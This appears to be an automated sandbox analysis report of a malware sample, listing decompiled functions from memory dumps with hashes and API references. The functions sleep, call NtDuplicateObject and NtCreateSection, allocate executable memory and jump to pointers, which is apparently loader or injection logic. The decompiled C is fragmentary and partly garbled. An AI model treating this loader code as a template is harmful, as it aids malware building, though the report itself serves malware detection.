Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 21e8c1f2be0fad2efb5be0a18617022cf06a06a2fa368ed1ac733ca737364c66
Instruction ID: 2421212cf9775cb4e82dc684017396ff3ea1ef4e86c58c10a51bd6cb4b6bc29e
Opcode Fuzzy Hash: 21e8c1f2be0fad2efb5be0a18617022cf06a06a2fa368ed1ac733ca737364c66
Instruction Fuzzy Hash: D00184B2708205EADB10AB95DC61ABA33149B45354F204537FA13B90F6C63D8513E76B

Uniqueness

Uniqueness Score: -1.00%

Function 004018F5 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E004018F5(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t11;
				void* _t16;
				intOrPtr* _t17;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				intOrPtr* _t22;

				_t24 = __eflags;
				_push(0xab);
				_t19 =  *_t22;
				E0040119E(0x193e, _t16, 0x6f, _t19, _t20, _t21, __eflags, __fp0);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E00401419(_t17, _t20, _t21, _t24, __fp0); // executed
				_t25 = _t11;
				if(_t11 != 0) {
					E00401514(_t25, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0);
				_t17 = _t17 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				return __eax;
			}

0x004018f5
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a4c832dc0da8ffc0caac80191dd9234b0867b31759a266d3bb8d5a00fc49371a
Instruction ID: e1afb8008e98de97791c5ed59cb83e73cde9cb9d6ac916766b20bfdf9a8cc7b7
Opcode Fuzzy Hash: a4c832dc0da8ffc0caac80191dd9234b0867b31759a266d3bb8d5a00fc49371a
Instruction Fuzzy Hash: 66018CF130C209FAEB106A948C71ABA36299B81314F300133BA13790F5C53D8A13E66F

Uniqueness

Uniqueness Score: -1.00%

Function 00401900 Relevance: 1.3, APIs: 1, Instructions: 54
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E00401900(void* __eax, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				void* _t14;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr _t24;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr _t30;

				_pop(_t20);
				_pop(_t28);
				_t1 = __eax + 0x193e;
				 *_t1 =  *((intOrPtr*)(__eax + 0x193e)) - _t20;
				_t30 =  *_t1;
				_push(0xab);
				_t24 =  *_t28;
				E0040119E(0x193e, _t20, 0x6f, _t24, __edi, __esi, _t30, __fp0);
				_t21 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_push(_t27 - 4);
				_push( *((intOrPtr*)(_t27 + 0x10)));
				_push( *((intOrPtr*)(_t27 + 0xc)));
				_push(_t21); // executed
				_t14 = E00401419(_t21, __edi, __esi, _t30, __fp0); // executed
				_t31 = _t14;
				if(_t14 != 0) {
					E00401514(_t31, _t21, _t14,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t21();
				_t21 = _t21 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401902
0x00401903
0x00401904
0x00401904
0x00401904
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b4182ac66895bd812ae315ac775f9ddb541a2cbfab70aa13ec0e46e49fa29885
Instruction ID: c80725063fa5cd5d3bf9caad683ad8039253a2745de3db8bb1ccfc6e48a334a0
Opcode Fuzzy Hash: b4182ac66895bd812ae315ac775f9ddb541a2cbfab70aa13ec0e46e49fa29885
Instruction Fuzzy Hash: BA015EF130C205EAEB105A949C71ABA36159B85314F304137BA53790F6C53D8A13E66B

Uniqueness

Uniqueness Score: -1.00%

Function 0040190C Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E0040190C(void* __eax, void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t14;
				intOrPtr* _t20;
				intOrPtr _t22;
				void* _t26;
				intOrPtr* _t27;

				_t29 = __eflags;
				_t25 = __eax;
				_push(0xab);
				_t22 =  *_t27;
				E0040119E(0x193e, __ebx, 0x6f, _t22, __edi, __eax, __eflags, __fp0);
				_t20 =  *((intOrPtr*)(_t26 + 8));
				Sleep(0x1388);
				_push(_t26 - 4);
				_push( *((intOrPtr*)(_t26 + 0x10)));
				_push( *((intOrPtr*)(_t26 + 0xc)));
				_push(_t20); // executed
				_t14 = E00401419(_t20, __edi, _t25, _t29, __fp0); // executed
				_t30 = _t14;
				if(_t14 != 0) {
					E00401514(_t30, _t20, _t14,  *((intOrPtr*)(_t26 - 4)),  *((intOrPtr*)(_t26 + 0x14))); // executed
				}
				 *_t20();
				_t20 = _t20 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x0040190c
0x0040190c
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d7d75899f1d3c21672ccbd88ffa7d7ebbf0127e2ec3ce50d705c7a6544b2d48f
Instruction ID: 5c6be3d6fa264534ea991e23dffef21807595c3374f62bed89ca8c6d847c6ab3
Opcode Fuzzy Hash: d7d75899f1d3c21672ccbd88ffa7d7ebbf0127e2ec3ce50d705c7a6544b2d48f
Instruction Fuzzy Hash: B9011AF1708205EAEB119A949C71ABA32259B85314F304133BA13791F6C67D8A53E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00953AC0 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00953B11

Memory Dump Source

Source File: 00000000.00000002.302433591.000000000094D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0094D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94d000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 716ac32771e7e21a6513fefef3b30bf65cf218f8cac2e56434f84b04068b0449
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 4E113979A00208EFDB01DF99C985E99BBF5AF08751F05C0A4F9489B362D371EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00401921 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E00401921(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				_t18 = __ecx;
				asm("scasb");
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(_t8, __ebx, __ecx, _t19, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + _t18;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401921
0x00401921
0x00401921
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 693661f4213d3c5ffc7fae7b320bed850bc44b842b5e723aa5eaeaecf4b826f3
Instruction ID: a99f987fb3800db72710cdf5a38ca902ccd841e4d5acefe62a501ff3cd3cf7f9
Opcode Fuzzy Hash: 693661f4213d3c5ffc7fae7b320bed850bc44b842b5e723aa5eaeaecf4b826f3
Instruction Fuzzy Hash: 54013CF2708205FAEB109A959C61ABA36299F45354F304137BA13790F6C63D8A13E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 44
sleepCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00401925(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t13;
				intOrPtr* _t19;
				void* _t20;
				intOrPtr _t21;
				void* _t25;
				intOrPtr* _t26;

				_t28 = __eflags;
				_t20 = __ecx;
				_t24 = __eax;
				asm("a16 push 0xab");
				_push(0xab);
				_t21 =  *_t26;
				E0040119E(__esi, __ebx, __ecx, _t21, __edi, __eax, __eflags, __fp0);
				_t19 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t19); // executed
				_t13 = E00401419(_t19, __edi, _t24, _t28, __fp0); // executed
				_t29 = _t13;
				if(_t13 != 0) {
					E00401514(_t29, _t19, _t13,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t19();
				_t19 = _t19 + _t20;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401925
0x00401925
0x00401925
0x00401926
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: fb6d829510aa024f80ad68b07e155414bf1d60313f026e30baced06c17c35cd9
Instruction ID: b0ff338450a25d5b6aa89585593cf6bc9af60e6e70e63708ff4a4873c551fa89
Opcode Fuzzy Hash: fb6d829510aa024f80ad68b07e155414bf1d60313f026e30baced06c17c35cd9
Instruction Fuzzy Hash: 36F04FB2308205EBEB019B95DC61ABA37299F45714F204533BA53790F6C63D8A13E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401934 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00401934(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				void* _t11;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;
				void* _t25;

				_t18 = __ecx;
				_t25 = __eax - 0x11efebd3;
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(__eax, __ebx, __ecx, _t19, __edi, __esi, _t25, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + _t18;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401934
0x00401934
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 5342b53e28553ac5f786c1fafb6bd434548c179d4d59d8b70bfb48ced3a581c6
Instruction ID: 9499ee2aead6bf7bd52ecc6e282b1c5f7567d2022060853a6c33904b9a08ada9
Opcode Fuzzy Hash: 5342b53e28553ac5f786c1fafb6bd434548c179d4d59d8b70bfb48ced3a581c6
Instruction Fuzzy Hash: A0F06DB2204205EAEB005A958C61ABE37289F44314F204133BA13B90F2C63D8612E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0076092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 007609DC, 007609DF, 007609E4
., xrefs: 0076095F
l, xrefs: 00760966

Memory Dump Source

Source File: 00000000.00000002.302147323.0000000000760000.00000040.00001000.00020000.00000000.sdmp, Offset: 00760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_760000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 52a8625eeb5e35589fad2920a7e9102daf3ac7dca217ec68041748f46f15583f
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: C6316AB6900709DFDB10CF99C884AAEBBF9FF48324F24414AD842A7351D775EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040244C Relevance: 3.0, Strings: 2, Instructions: 523
COMMONCrypto

Download Yara Rule

C-Code - Quality: 53%

			E0040244C(signed int __ebx, intOrPtr __edi, signed int __esi, void* __eflags, void* __fp0, void* _a126704157, void* _a126721539, void* _a934638997, void* _a939215389, void* _a939490845, void* _a1440472949, void* _a1693713902, void* _a1920138973) {
				void* _v3;
				void* _v1724559843;
				void* _t131;
				signed int _t132;
				signed int _t209;
				void* _t226;
				void* _t227;
				signed int _t234;
				signed int _t252;
				signed int _t260;
				signed int _t264;
				void* _t265;
				void* _t275;
				intOrPtr _t277;
				void* _t278;
				void* _t282;
				void* _t326;

				_t326 = __fp0;
				_t275 = __eflags;
				_t252 = __esi;
				_t211 = __ebx;
				_t260 = _t264;
				_t265 = _t264 - 0x3c;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t131 = 0x2491;
				_t226 = 0x2a4;
				_t234 = 0x72;
				_t132 = E0040119E(_t131, __ebx, _t226, _t234, __edi, __esi, __eflags, __fp0);
				_t227 = 0x37;
				asm("invalid");
				if(_t275 < 0) {
					if (_t282 < 0) goto L50;
					if (_t282 < 0) goto L51;
					if(_t282 < 0) {
						_push(es);
					} else {
						if (_t282 < 0) goto L76;
						asm("sbb al, 0x72");
					}
				} else {
					asm("stc");
					asm("das");
					if(_t275 != 0) {
						__eflags = __ebx ^ _t260;
						 *((intOrPtr*)(__edi + 0x33)) = __edi;
						asm("aaa");
						asm("repne xor [ebp+esi+0x458b2727], al");
						asm("cld");
						return _t132;
					} else {
						_t252 =  *(_t234 + 0x72) * 0x72;
						 *_t132 =  *_t132 + _t234;
						asm("sbb edx, [edi]");
						_push(ss);
						_push(ds);
						_push(ds);
						if( *_t132 < 0) {
							if(_t278 >= 0) {
								asm("arpl [ecx*4-0x4d0895df], sp");
							}
							_t234 = _t132 *  *(_t227 + 0x70) >> 0x20;
							_t209 = _t132 *  *(_t227 + 0x70);
						} else {
							 *0x191d1d1a =  *0x191d1d1a + _t132;
							_t277 =  *0x191d1d1a;
							if(_t277 >= 0) {
								asm("sbb al, 0xa");
							}
							_t211 = _t211 |  *_t234;
							asm("sbb [edx+0x72], esi");
						}
					}
				}
			}

0x0040244c
0x0040244c
0x0040244c
0x0040244c
0x0040244d
0x0040244f
0x00402452
0x00402453
0x00402454
0x00402461
0x00402474
0x00402484
0x0040248c
0x00402491
0x00402493
0x00402496
0x0040250a
0x0040250c
0x0040250e
0x00402527
0x00402510
0x00402510
0x00402511
0x00402511
0x00402498
0x00402498
0x00402499
0x0040249a
0x00402436
0x00402438
0x0040243b
0x0040243c
0x00402444
0x00402449
0x0040249c
0x0040249c
0x004024a0
0x004024a2
0x004024a4
0x004024a5
0x004024a6
0x004024a7
0x004024bc
0x004024be
0x004024be
0x004024c6
0x004024c6
0x004024a9
0x004024a9
0x004024a9
0x004024af
0x004024b1
0x004024b1
0x004024b2
0x004024b4
0x004024b4
0x004024a7
0x0040249a

Strings

2, xrefs: 004026B2
', xrefs: 0040268F

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: '$2
API String ID: 0-4219222353
Opcode ID: 74304849074f6d434b87535e89282f4ea6f858761e5f4b4fa59ee5e2d557e78f
Instruction ID: 8dfda72a7efb712e5bc2bab99a901f3d7e8b98dcdc7743f55b88b435e83f9112
Opcode Fuzzy Hash: 74304849074f6d434b87535e89282f4ea6f858761e5f4b4fa59ee5e2d557e78f
Instruction Fuzzy Hash: 25E19B324752A2BBCF0E8A309F3D1CABB53AA5770475809B7C8417B1F2D1FE4546868D

Uniqueness

Uniqueness Score: -1.00%

Function 00955CA5 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.302433591.000000000094D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0094D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94d000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 174cf1eacfd1bf695ce5b5575bcb1e2e41ed66c8ec2e97644dc0d062bf55d537
Instruction ID: e9f2eb3ac9eb73cd5c85186c2fb39f1611aae263285a105c5acdbd4ce7fee5c2
Opcode Fuzzy Hash: 174cf1eacfd1bf695ce5b5575bcb1e2e41ed66c8ec2e97644dc0d062bf55d537
Instruction Fuzzy Hash: 1721CE7B145B806FCB92EE79D4416C37BE0E943324331759AC8D3DF6B2C2258913A789

Uniqueness

Uniqueness Score: -1.00%

Function 0040273F Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dca85ce7b8bea0f7539c47682ceb389a294c6e8f651fc70695933f315ab76d1
Instruction ID: b531a5069db43dd3f2511401e5d96438191eb79144dad8b4425a429f8fc9dc13
Opcode Fuzzy Hash: 4dca85ce7b8bea0f7539c47682ceb389a294c6e8f651fc70695933f315ab76d1
Instruction Fuzzy Hash: CE21CE6624D7A0DFD706B63486486E3BB806B173107A40A77C4432F2D6D5EA8D07D25F

Uniqueness

Uniqueness Score: -1.00%

Function 00955C58 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.302433591.000000000094D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0094D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94d000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3997c747f4e7519b7ba22ecffa5f61e37aaa3c9826a7edf216d5057f1c2e49f
Instruction ID: 41f0219e237b5445ffa7e384312e3273ea98d7d815f57ac60b739df55c8ebed2
Opcode Fuzzy Hash: d3997c747f4e7519b7ba22ecffa5f61e37aaa3c9826a7edf216d5057f1c2e49f
Instruction Fuzzy Hash: 9B21AA7B501B81AFCB46EF36D8421D3BBE0E983365331655AC8D3DB572C2269813AB84

Uniqueness

Uniqueness Score: -1.00%

Function 0040234C Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35ae5cc263b79e014aeaffe8d429262f26e84534b0262cf500adc124cd1032d4
Instruction ID: 1f4278f36a20d13c71fe966deb309bd134cc4d802f599e505df534074f72039f
Opcode Fuzzy Hash: 35ae5cc263b79e014aeaffe8d429262f26e84534b0262cf500adc124cd1032d4
Instruction Fuzzy Hash: 6E113A91A0824EA6DB021B71C70A8E5B7689B033D1F70456799437A4CAF27D444B9FDB

Uniqueness

Uniqueness Score: -1.00%

Function 009536DE Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.302433591.000000000094D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0094D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94d000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 60df3ad03a3dbaf6e4123a920be3f1d3d39aa320667a50b76e76c5ccbf09bb8f
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: F4117CB2740100AFDB44DE56DC81FA673EAEB8D361B298065ED08CB316E679ED02C760

Uniqueness

Uniqueness Score: -1.00%

Function 00762901 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.302147323.0000000000760000.00000040.00001000.00020000.00000000.sdmp, Offset: 00760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_760000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16c6a0ae876edf5af0ab76c36ba625c31a3a5735da8af48979c25278dba5da6f
Instruction ID: 0dbc96855d3643f449699c0a2ed68ffd16fc7212b8cca1d34c4ee2aab2447913
Opcode Fuzzy Hash: 16c6a0ae876edf5af0ab76c36ba625c31a3a5735da8af48979c25278dba5da6f
Instruction Fuzzy Hash: 43110C2364A7926EEB916B3480416C7BBE0AE5331479838FEC5C39B403D9229407E7C5

Uniqueness

Uniqueness Score: -1.00%

Function 0040289A Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff9946daed32d8728c44b2588b9b0679aa41ae813fa4294fe1c1a5ca5924ae70
Instruction ID: 91c0702a249521946f87d2af308510829925ed9829cfb70eb77170fea1ea07e8
Opcode Fuzzy Hash: ff9946daed32d8728c44b2588b9b0679aa41ae813fa4294fe1c1a5ca5924ae70
Instruction Fuzzy Hash: C0110C236097916EEB926B3480456C7BBE0BE5331439868FEC5839B443D9329006E7C5

Uniqueness

Uniqueness Score: -1.00%

Function 00402363 Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00402363(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t24;

				_t24 = __edi;
				_t12 = __ebx;
				_push(0xd8);
			}

0x00402363
0x00402363
0x00402384

Memory Dump Source

